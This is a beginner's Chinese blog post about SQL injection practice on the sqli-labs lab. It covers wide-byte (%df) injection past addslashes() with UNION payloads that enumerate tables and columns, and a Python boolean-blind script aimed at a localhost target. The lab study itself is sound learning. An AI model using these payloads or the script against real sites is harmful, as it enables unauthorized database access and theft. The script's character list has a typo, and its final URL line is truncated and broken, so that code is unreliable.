萌新學習sql注入4
阿新 • • 發佈:2020-02-29
寬位元組注入
先列舉一下基本的url編碼
明文 | url編碼 |
---|---|
空格 | %20 |
’ | %27 |
# | %23 |
\ | %5c |
addslashes函式:
addslashes() 函式返回在預定義字元之前新增反斜槓的字串。
預定義字元是:
- 單引號(’)
- 雙引號(")
- 反斜槓(\)
- NULL
如何從addslashes函式中逃逸出來:
一:在\前面再加一個 \ (或單數個),變成\\’ ,這樣\就被轉義了,‘逃出了限制
二:把\弄沒,在mysql使用GBK編碼的時候,會認為兩個字元是一個漢字(前面一個ASCII碼要大於128,才到達漢字的範圍)
漢字為兩個字元
\'的編碼為%5c%27
我們在 ’ 前加%df後變為%df\’
即為%df%5c%27,進行GBK解碼後為
變為了運’,成功繞過了。
進行實驗
實驗環境:sqlilabs-less-32
本地搭建的靶機關於寬位元組注入的題莫名其妙不能用了,又到虛擬機器搭建了sqli-labs,花了一段時間。哭了
開始進行測試了!!!
?id=1%27--+
發現是用了addslashes() 函式,使用%df試試
?id=1%df%27--+
說明是GBK編碼,可以注入了。
?id=-1%df%27 union select 1,2,3--+
用union聯合注入即可,後面有一點要注意,就是where table_name=’ '的單引號不能使用,要使用另一種方法:十六進位制
?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
指令碼編寫
學習寫python指令碼了,sqlmap並不是萬能的,學習了一上午,發現requests庫的知識太多了,慢慢來吧
實驗環境:sqlilabs-less-8
先寫最簡單的布林盲注的指令碼,首先需要python的requests庫,pip下載即可
import requests dic = 'abcdefghijklmnopqrstuvwsyz' database = '' for x in xrange(1,10): for i in dic: url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i) try: response = requests.get(url,timeout = 5) if response.content.find('You are in...........') != -1: database = database + i print database break except Exception,e: pass print database
最主要的是這個判斷,若找到You are in…就不為-1,執行下面語句。若沒有找到就為-1,不執行if語句。
if response.content.find('You are in...........') != -1:
接下來更改url句子即可
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),i)
limit 0,1也可用一層迴圈,我這裡就不在演示了。總之python指令碼使用起來更加靈活,還是應該好好寫一寫的。